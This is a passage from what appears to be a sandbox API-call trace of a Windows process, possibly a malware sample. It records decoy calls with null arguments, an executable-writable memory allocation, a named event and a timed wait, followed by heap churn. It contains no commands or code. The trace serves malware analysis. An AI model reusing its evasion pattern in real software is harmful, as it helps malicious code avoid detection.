lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.080] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=47, param_4=292, param_5=0x0, param_6=0x0) returned 0 [0219.080] GetLastError () returned 0x579 [0219.080] SetLastError (dwErrCode=0x579) [0219.080] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.080] SymCleanup (hProcess=0x0) returned 0 [0219.080] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.080] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.080] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.080] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.080] GetLastError () returned 0x579 [0219.080] SetLastError (dwErrCode=0x579) [0219.438] GradientFill () returned 0x0 [0219.439] GetClientRect (in: hWnd=0x0, lpRect=0x19fa20 | out: lpRect=0x19fa20) returned 0 [0219.439] ClientToScreen (in: hWnd=0x0, lpPoint=0x19fa20 | out: lpPoint=0x19fa20) returned 0 [0219.439] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x40) returned 0x680000 [0219.439] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6cb630 | out: hHeap=0x6b0000) returned 1 [0219.439] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6cb610 | out: hHeap=0x6b0000) returned 1 [0219.439] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6cb5d0 | out: hHeap=0x6b0000) returned 1 [0219.439] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="lifecicled") returned 0x358 [0219.440] GetCursorPos (in: lpPoint=0x19f9f0 | out: lpPoint=0x19f9f0*(x=849, y=234)) returned 1 [0219.440] GetLocalTime (in: lpSystemTime=0x19fa08 | out: lpSystemTime=0x19fa08*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x5, wDay=0xc, wHour=0xb, wMinute=0x11, wSecond=0x38, wMilliseconds=0x188)) [0219.440] SystemTimeToVariantTime (in: lpSystemTime=0x19fa08, pvtime=0x19f9cc | out: pvtime=0x19f9cc) returned 1 [0219.440] SystemTimeToVariantTime (in: lpSystemTime=0x19fa08, pvtime=0x19f9e8 | out: pvtime=0x19f9e8) returned 1 [0219.440] UuidCreate (in: Uuid=0x19fa08 | out: Uuid=0x19fa08) returned 0x0 [0219.440] GetCursorPos (in: lpPoint=0x19f9bc | out: lpPoint=0x19f9bc*(x=849, y=234)) returned 1 [0219.440] UuidToStringW (in: Uuid=0x19fa08, StringUuid=0x19f9e8 | out: StringUuid=0x19f9e8) returned 0x0 [0219.440] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xbae) returned 0x102 [0222.462] UuidCreate (in: Uuid=0x19fa08 | out: Uuid=0x19fa08) returned 0x0 [0222.462] GetCursorPos (in: lpPoint=0x19f9bc | out: lpPoint=0x19f9bc*(x=849, y=234)) returned 1 [0222.462] UuidToStringW (in: Uuid=0x19fa08, StringUuid=0x19f9e8 | out: StringUuid=0x19f9e8) returned 0x0 [0222.462] CoTaskMemFree (pv=0x6dad18) [0222.462] MMDeviceEnumerator:IUnknown:Release (This=0x6d4c08) returned 0x1 [0222.462] MMDeviceEnumerator:IUnknown:Release (This=0x6c2eb0) returned 0x0 [0222.487] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6da868 [0222.487] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6cb630 [0222.487] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d6430 [0222.487] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6dab68 [0222.487] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6cb5d0 [0222.487] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6e4778 [0222.487] GetLastError () returned 0x0 [0222.487] SetLastError (dwErrCode=0x0) [0222.487] GetLastError () returned 0x0 [0222.487] SetLastError (dwErrCode=0x0) [0222.487] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb8) returned 0x6bf600 [0222.487] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6a6) returned 0x73b678 [0222.487] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x73b678 | out: hHeap=0x6b0000) returned 1 [0222.487] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d1ee8 | out: hHeap=0x6b0000) returned 1 [0222.487] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7518 | out: hHeap=0x6b0000) returned 1 [0222.487] GetLastError () returned 0x0 [0222.487] SetLastError (dwErrCode=0x0) [0222.487] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6e4698 [0222.487] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6e47c8 [0222.487] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6e47d8 [0222.487] GetLastError () returned 0x0 [0222.488] SetLastError (dwErrCode=0x0) [0222.488] GetLastError () returned 0x0 [0222.488] SetLastError (dwErrCode=0x0) [0222.488] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb8) returned 0x6c7518 [0222.488] GetLastError () returned 0x0 [0222.488] SetLastError (dwErrCode=0x0) [0222.488] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6a6) returned 0x73b678 [0222.488] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x73b678 | out: hHeap=0x6b0000) returned 1 [0222.488] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e4698 | out: hHeap=0x6b0000) returned 1 [0222.488] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6bf600 | out: hHeap=0x6b0000) returned 1 [0222.488] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e47d8 | out: hHeap=0x6b0000) returned 1 [0222.488] GetLastError () returned 0x0 [0222.488] SetLastError (dwErrCode=0x0) [0222.488] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6e46b8 [0222.488] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6e4768 [0222.488] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6e4758 [0222.488] GetLastError () returned 0x0 [0222.488] SetLastError (dwErrCode=0x0) [0222.488] GetLastError () returned 0x0 [0222.488] SetLastError (dwErrCode=0x0) [0222.488] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb8) returned 0x6bf600 [0222.488] GetLastError () returned 0x0 [0222.489] SetLastError (dwErrCode=0x0) [0222.489] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6a6) returned 0x73b678 [0222.489] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x73b678 | out: hHeap=0x6b0000) returned 1 [0222.489] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e46b8 | out: hHeap=0x6b0000) returned 1 [0222.489] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7518 | out: hHeap=0x6b0000) returned 1 [0222.489] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e4758 | out: hHeap=0x6b0000) returned 1 [0222.489] GetLastError () returned 0x0 [0222.489] SetLastError (dwErrCode=0x0) [0222.489] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6e4788 [0222.489] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e4768 | out: hHeap=0x6b0000) returned 1 [0222.489] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e47c8 | out: hHeap=0x6b0000) returned 1 [0222.489] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6e47d8 [0222.489] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6dffd0 [0222.490] GetLastError () returned 0x0 [0222.490] SetLastError (dwErrCode=0x0) [0222.490] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6cb330 [0222.490] GetLastError () returned 0x0 [0222.490] SetLastError (dwErrCode=0x0) [0222.490] GetLastError () returned 0x0 [0222.490] SetLastError (dwErrCode=0x0) [0222.490] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb8) returned 0x6c7518 [0222.491] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6a6) returned 0x73b678 [0222.491] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x73b678 | out: hHeap=0x6b0000) returned 1 [0222.491] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e4788 | out: hHeap=0x6b0000) returned 1 [0222.491] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6bf600 | out: hHeap=0x6b0000) returned 1 [0222.491] GetLastError () returned 0x0 [0222.491] SetLastError (dwErrCode=0x0) [0222.491] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6e4738 [0222.491] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6e47a8 [0222.491] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6e4708 [0222.491] GetLastError () returned 0x0 [0222.491] SetLastError (dwErrCode=0x0) [0222.491] GetLastError () returned 0x0 [0222.491] SetLastError (dwErrCode=0x0) [0222.491] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb8) returned 0x6bf600 [0222.491] GetLastError () returned 0x0 [0222.491] SetLastError (dwErrCode=0x0) [0222.491] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6a6) returned 0x73b678 [0222.491] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x73b678 | out: hHeap=0x6b0000) returned 1 [0222.492] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e4738 | out: hHeap=0x6b0000) returned 1 [0222.492] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7518 | out: hHeap=0x6b0000) returned 1 [0222.492] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e4708 | out: hHeap=0x6b0000) returned 1 [0222.492] GetLastError () returned 0x0 [0222.492] SetLastError (dwErrCode=0x0) [0222.492] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6e4768 [0222.492] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6e46a8 [0222.492] GetLastError () returned 0x0 [0222.492] SetLastError (dwErrCode=0x0) [0222.492] GetLastError () returned 0x0 [0222.492] SetLastError (dwErrCode=0x0) [0222.492] GetLastError () returned 0x0 [0222.492] SetLastError (dwErrCode=0x0) [0222.492] GetLastError () returned 0x0 [0222.492] SetLastError (dwErrCode=0x0) [0222.492] GetLastError () returned 0x0 [0222.492] SetLastError (dwErrCode=0x0) [0222.492] GetLastError () returned 0x0 [0222.492] SetLastError (dwErrCode=0x0) [0222.492] GetLastError () returned 0x0 [0222.492] SetLastError (dwErrCode=0x0) [0222.492] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1) returned 0x6e4738 [0222.492] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6e4638 [0222.492] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5) returned 0x6e4758 [0222.492] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6e4788 [0222.492] GetLastError () returned 0x0 [0222.493] SetLastError (dwErrCode=0x0) [0222.493] GetLastError () returned 0x0 [0222.493] SetLastError (dwErrCode=0x0) [0222.493] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb8) returned 0x6c7518 [0222.493] GetLastError () returned 0x0 [0222.493] SetLastError (dwErrCode=0x0) [0222.493] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6a6) returned 0x73b678 [0222.493] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x73b678 | out: hHeap=0x6b0000) returned 1 [0222.493] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e4768 | out: hHeap=0x6b0000) returned 1 [0222.493] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6bf600 | out: hHeap=0x6b0000) returned 1 [0222.493] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e4788 | out: hHeap=0x6b0000) returned 1 [0222.493] GetLastError () returned 0x0 [0222.493] SetLastError (dwErrCode=0x0) [0222.493] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6e46b8 [0222.493] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e46a8 | out: hHeap=0x6b0000) returned 1 [0222.493] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e47a8 | out: hHeap=0x6b0000) returned 1 [0222.493] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6e4748 [0222.493] GetLastError () returned 0x0 [0222.494] SetLastError (dwErrCode=0x0) [0222.494] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1000) returned 0x73b678 [0222.494] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dffd0 | out: hHeap=0x6b0000) returned 1 [0222.494] GetLastError () returned 0x0 [0222.494] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0222.494] SetLastError (dwErrCode=0x0) [0222.494] GetLastError () returned 0x0 [0222.494] SetLastError (dwErrCode=0x0) [0222.494] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6dffd0 [0222.494] GetLastError () returned 0x0 [0222.494] SetLastError (dwErrCode=0x0) [0222.494] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dffd0 | out: hHeap=0x6b0000) returned 1 [0222.494] GetLastError () returned 0x0 [0222.494] SetLastError (dwErrCode=0x0) [0222.495] GetLastError () returned 0x0 [0222.495] SetLastError (dwErrCode=0x0) [0222.495] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6dffd0 [0222.495] GetLastError () returned 0x0 [0222.495] SetLastError (dwErrCode=0x0) [0222.495] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dffd0 | out: hHeap=0x6b0000) returned 1 [0222.495] GetLastError () returned 0x0 [0222.495] SetLastError (dwErrCode=0x0) [0222.495] GetLastError () returned 0x0 [0222.495] SetLastError (dwErrCode=0x0) [0222.495] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6dffd0 [0222.495] GetLastError () returned 0x0 [0222.495] SetLastError (dwErrCode=0x0) [0222.495] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dffd0 | out: hHeap=0x6b0000) returned 1 [0222.495] GetLastError () returned 0x0 [0222.495] SetLastError (dwErrCode=0x0) [0222.495] GetLastError () returned 0x0 [0222.495] SetLastError (dwErrCode=0x0) [0222.495] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6dffd0 [0222.496] GetLastError () returned 0x0 [0222.496] SetLastError (dwErrCode=0x0) [0222.496] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dffd0 | out: hHeap=0x6b0000) returned 1 [0222.496] GetLastError () returned 0x0 [0222.496] SetLastError (dwErrCode=0x0) [0222.496] GetLastError () returned 0x0 [0222.496] SetLastError (dwErrCode=0x0) [0222.496] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6dffd0 [0222.496] GetLastError () returned 0x0 [0222.496] SetLastError (dwErrCode=0x0) [0222.496] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dffd0 | out: hHeap=0x6b0000) returned 1 [0222.496] GetLastError () returned 0x0 [0222.496] SetLastError (dwErrCode=0x0) [0222.496] GetLastError () returned 0x0 [0222.496] SetLastError (dwErrCode=0x0) [0222.496] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6dffd0 [0222.496] GetLastError () returned 0x0 [0222.496] SetLastError (dwErrCode=0x0) [0222.497] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dffd0 | out: hHeap=0x6b0000) returned 1 [0222.497] GetLastError () returned 0x0 [0222.497] SetLastError (dwErrCode=0x0) [0222.497] GetLastError () returned 0x0 [0222.497] SetLastError (dwErrCode=0x0) [0222.497] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6dffd0 [0222.497] GetLastError () returned 0x0 [0222.497] SetLastError (dwErrCode=0x0) [0222.497] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dffd0 | out: hHeap=0x6b0000) returned 1 [0222.497] GetLastError () returned 0x0 [0222.497] SetLastError (dwErrCode=0x0) [0222.497] GetLastError () returned 0x0 [0222.497] SetLastError (dwErrCode=0x0) [0222.497] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6dffd0 [0222.497] GetLastError () returned 0x0 [0222.497] SetLastError (dwErrCode=0x0) [0222.497] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dffd0 | out: hHeap=0x6b0000) returned 1 [0222.497] GetLastError () returned 0x0 [0222.497] SetLastError (dwErrCode=0x0) [0222.498] GetLastError () returned 0x0 [0222.498] SetLastError (dwErrCode=0x0) [0222.498] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6dffd0 [0222.498] GetLastError () returned 0x0 [0222.498] SetLastError (dwErrCode=0x0) [0222.498] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dffd0 | out: hHeap=0x6b0000) returned 1 [0222.498] GetLastError () returned 0x0 [0222.498] SetLastError (dwErrCode=0x0) [0222.498] GetLastError () returned 0x0 [0222.498] SetLastError (dwErrCode=0x0) [0222.498] GetLastError () returned 0x0 [0222.498] SetLastError (dwErrCode=0x0) [0222.499] GetLastError () returned 0x0 [0222.499] SetLastError (dwErrCode=0x0) [0222.499] GetLastError () returned 0x0 [0222.499] SetLastError (dwErrCode=0x0) [0222.499] GetLastError () returned 0x0 [0222.499] SetLastError (dwErrCode=0x0) [0222.499] GetLastError () returned 0x0 [0222.499] SetLastError (dwErrCode=0x0) [0222.499] GetLastError () returned 0x0 [0222.499] SetLastError (dwErrCode=0x0) [0222.499] GetLastError () returned 0x0 [0222.499] SetLastError (dwErrCode=0x0) [0222.499] GetLastError () returned 0x0 [0222.499] SetLastError (dwErrCode=0x0) [0222.499] GetLastError () returned 0x0 [0222.499] SetLastError (dwErrCode=0x0) [0222.499] GetLastError () returned 0x0 [0222.500] SetLastError (dwErrCode=0x0) [0222.500] GetLastError () returned 0x0 [0222.500] SetLastError (dwErrCode=0x0) [0222.500] GetLastError () returned 0x0 [0222.500] SetLastError (dwErrCode=0x0) [0222.500] GetLastError () returned 0x0 [0222.500] SetLastError (dwErrCode=0x0) [0222.500] GetLastError () returned 0x0 [0222.500] SetLastError (dwErrCode=0x0) [0222.500] GetLastError () returned 0x0 [0222.500] SetLastError (dwErrCode=0x0) [0222.500] GetLastError () returned 0x0 [0222.500] SetLastError (dwErrCode=0x0) [0222.500] GetLastError () returned 0x0 [0222.500] SetLastError (dwErrCode=0x0) [0222.500] GetLastError () returned 0x0 [0222.501] SetLastError (dwErrCode=0x0) [0222.501] GetLastError () returned 0x0 [0222.501] SetLastError (dwErrCode=0x0) [0222.501] GetLastError () returned 0x0 [0222.501] SetLastError (dwErrCode=0x0) [0222.501] GetLastError () returned 0x0 [0222.501] SetLastError (dwErrCode=0x0) [0222.501] GetLastError () returned 0x0 [0222.501] SetLastError (dwErrCode=0x0) [0222.501] GetLastError () returned 0x0 [0222.501] SetLastError (dwErrCode=0x0) [0222.501] GetLastError () returned 0x0 [0222.501] SetLastError (dwErrCode=0x0) [0222.501] GetLastError () returned 0x0 [0222.501] SetLastError (dwErrCode=0x0) [0222.501] GetLastError () returned 0x0 [0222.502] SetLastError (dwErrCode=0x0) [0222.502] GetLastError () returned 0x0 [0222.502] SetLastError (dwErrCode=0x0) [0222.502] GetLastError () returned 0x0 [0222.502] SetLastError (dwErrCode=0x0) [0222.502] GetLastError () returned 0x0 [0222.502] SetLastError (dwErrCode=0x0) [0222.502] GetLastError () returned 0x0 [0222.502] SetLastError (dwErrCode=0x0) [0222.502] GetLastError () returned 0x0 [0222.502] SetLastError (dwErrCode=0x0) [0222.502] GetLastError () returned 0x0 [0222.502] SetLastError (dwErrCode=0x0) [0222.502] GetLastError () returned 0x0 [0222.502] SetLastError (dwErrCode=0x0) [0222.502] GetLastError () returned 0x0 [0222.503] SetLastError (dwErrCode=0x0) [0222.503] GetLastError () returned 0x0 [0222.503] SetLastError (dwErrCode=0x0) [0222.503] GetLastError () returned 0x0 [0222.503] SetLastError (dwErrCode=0x0) [0222.503] GetLastError () returned 0x0 [0222.503] SetLastError (dwErrCode=0x0) [0222.503] GetLastError () returned 0x0 [0222.503] SetLastError (dwErrCode=0x0) [0222.503] GetLastError () returned 0x0 [0222.503] SetLastError (dwErrCode=0x0) [0222.503] GetLastError () returned 0x0 [0222.503] SetLastError (dwErrCode=0x0) [0222.503] GetLastError () returned 0x0 [0222.503] SetLastError (dwErrCode=0x0) [0222.504] GetLastError () returned 0x0 [0222.504] SetLastError (dwErrCode=0x0) [0222.504] GetLastError () returned 0x0 [0222.504] SetLastError (dwErrCode=0x0) [0222.504] GetLastError () returned 0x0 [0222.504] SetLastError (dwErrCode=0x0) [0222.504] GetLastError () returned 0x0 [0222.504] SetLastError (dwErrCode=0x0) [0222.504] GetLastError () returned 0x0 [0222.504] SetLastError (dwErrCode=0x0) [0222.504] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6e4648 [0222.504] GetLastError () returned 0x0 [0222.504] SetLastError (dwErrCode=0x0) [0222.504] GetLastError () returned 0x0 [0222.504] SetLastError (dwErrCode=0x0) [0222.505] GetLastError () returned 0x0 [0222.505] SetLastError (dwErrCode=0x0) [0222.505] GetLastError () returned 0x0 [0222.505] SetLastError (dwErrCode=0x0) [0222.505] GetLastError () returned 0x0 [0222.505] SetLastError (dwErrCode=0x0) [0222.505] GetLastError () returned 0x0 [0222.505] SetLastError (dwErrCode=0x0) [0222.505] GetLastError () returned 0x0 [0222.505] SetLastError (dwErrCode=0x0) [0222.505] GetLastError () returned 0x0 [0222.505] SetLastError (dwErrCode=0x0) [0222.505] GetLastError () returned 0x0 [0222.505] SetLastError (dwErrCode=0x0) [0222.505] GetLastError () returned 0x0 [0222.505] SetLastError (dwErrCode=0x0) [0222.507] GetLastError () returned 0x0 [0222.507] SetLastError (dwErrCode=0x0) [0222.507] GetLastError () returned 0x0 [0222.507] SetLastError (dwErrCode=0x0) [0222.507] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6e4768 [0222.507] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e4648 | out: hHeap=0x6b0000) returned 1 [0222.507] GetLastError () returned 0x0 [0222.507] SetLastError (dwErrCode=0x0) [0222.507] GetLastError () returned 0x0 [0222.507] SetLastError (dwErrCode=0x0) [0222.508] GetLastError () returned 0x0 [0222.508] SetLastError (dwErrCode=0x0) [0222.508] GetLastError () returned 0x0 [0222.508] SetLastError (dwErrCode=0x0) [0222.508] GetLastError () returned 0x0 [0222.508] SetLastError (dwErrCode=0x0) [0222.508] GetLastError () returned 0x0 [0222.508] SetLastError (dwErrCode=0x0) [0222.508] GetLastError () returned 0x0 [0222.508] SetLastError (dwErrCode=0x0) [0222.508] GetLastError () returned 0x0 [0222.508] SetLastError (dwErrCode=0x0) [0222.508] GetLastError () returned 0x0 [0222.508] SetLastError (dwErrCode=0x0) [0222.509] GetLastError () returned 0x0 [0222.509] SetLastError (dwErrCode=0x0) [0222.509] GetLastError () returned 0x0 [0222.509] SetLastError (dwErrCode=0x0) [0222.509] GetLastError () returned 0x0 [0222.509] SetLastError (dwErrCode=0x0) [0222.509] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d6310 [0222.509] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e4768 | out: hHeap=0x6b0000) returned 1 [0222.509] GetLastError () returned 0x0 [0222.509] SetLastError (dwErrCode=0x0) [0222.509] GetLastError () returned 0x0 [0222.509] SetLastError (dwErrCode=0x0) [0222.509] GetLastError () returned 0x0 [0222.509] SetLastError (dwErrCode=0x0) [0222.509] GetLastError () returned 0x0 [0222.509] SetLastError (dwErrCode=0x0) [0222.510] GetLastError () returned 0x0 [0222.510] SetLastError (dwErrCode=0x0) [0222.510] GetLastError () returned 0x0 [0222.510] SetLastError (dwErrCode=0x0) [0222.510] GetLastError () returned 0x0 [0222.510] SetLastError (dwErrCode=0x0) [0222.510] GetLastError () returned 0x0 [0222.510] SetLastError (dwErrCode=0x0) [0222.510] GetLastError () returned 0x0 [0222.510] SetLastError (dwErrCode=0x0) [0222.510] GetLastError () returned 0x0 [0222.510] SetLastError (dwErrCode=0x0) [0222.510] GetLastError () returned 0x0 [0222.510] SetLastError (dwErrCode=0x0) [0222.510] GetLastError () returned 0x0 [0222.511] SetLastError (dwErrCode=0x0) [0222.511] GetLastError () returned 0x0 [0222.511] SetLastError (dwErrCode=0x0) [0222.511] GetLastError () returned 0x0 [0222.511] SetLastError (dwErrCode=0x0) [0222.511] GetLastError () returned 0x0 [0222.511] SetLastError (dwErrCode=0x0) [0222.511] GetLastError () returned 0x0 [0222.511] SetLastError (dwErrCode=0x0) [0222.511] GetLastError () returned 0x0 [0222.511] SetLastError (dwErrCode=0x0) [0222.511] GetLastError () returned 0x0 [0222.511] SetLastError (dwErrCode=0x0) [0222.511] GetLastError () returned 0x0 [0222.511] SetLastError (dwErrCode=0x0) [0222.512] GetLastError () returned 0x0 [0222.512] SetLastError (dwErrCode=0x0) [0222.512] GetLastError () returned 0x0 [0222.512] SetLastError (dwErrCode=0x0) [0222.512] GetLastError () returned 0x0 [0222.512] SetLastError (dwErrCode=0x0) [0222.512] GetLastError () returned 0x0 [0222.512] SetLastError (dwErrCode=0x0) [0222.512] GetLastError () returned 0x0 [0222.512] SetLastError (dwErrCode=0x0) [0222.512] GetLastError () returned 0x0 [0222.512] SetLastError (dwErrCode=0x0) [0222.512] GetLastError () returned 0x0 [0222.512] SetLastError (dwErrCode=0x0) [0222.512] GetLastError () returned 0x0 [0222.513] SetLastError (dwErrCode=0x0) [0222.513] GetLastError () returned 0x0 [0222.513] SetLastError (dwErrCode=0x0) [0222.513] GetLastError () returned 0x0 [0222.513] SetLastError (dwErrCode=0x0) [0222.513] GetLastError () returned 0x0 [0222.513] SetLastError (dwErrCode=0x0) [0222.513] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6cb3b0 [0222.513] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d6310 | out: hHeap=0x6b0000) returned 1 [0222.513] GetLastError () returned 0x0 [0222.513] SetLastError (dwErrCode=0x0) [0222.513] GetLastError () returned 0x0 [0222.513] SetLastError (dwErrCode=0x0) [0222.513] GetLastError () returned 0x0 [0222.513] SetLastError (dwErrCode=0x0) [0222.513] GetLastError () returned 0x0 [0222.514] SetLastError (dwErrCode=0x0) [0222.514] GetLastError () returned 0x0 [0222.514] SetLastError (dwErrCode=0x0) [0222.514] GetLastError () returned 0x0 [0222.514] SetLastError (dwErrCode=0x0) [0222.514] GetLastError () returned 0x0 [0222.514] SetLastError (dwErrCode=0x0) [0222.514] GetLastError () returned 0x0 [0222.514] SetLastError (dwErrCode=0x0) [0222.514] GetLastError () returned 0x0 [0222.514] SetLastError (dwErrCode=0x0) [0222.774] GetLastError () returned 0x0 [0222.774] SetLastError (dwErrCode=0x0) [0222.774] GetLastError () returned 0x0 [0222.774] SetLastError (dwErrCode=0x0) [0222.774] GetLastError () returned 0x0 [0222.774] SetLastError (dwErrCode=0x0) [0222.775] GetLastError () returned 0x0 [0222.775] SetLastError (dwErrCode=0x0) [0222.775] GetLastError () returned 0x0 [0222.775] SetLastError (dwErrCode=0x0) [0222.775] GetLastError () returned 0x0 [0222.775] SetLastError (dwErrCode=0x0) [0222.775] GetLastError () returned 0x0 [0222.775] SetLastError (dwErrCode=0x0) [0222.775] GetLastError () returned 0x0 [0222.775] 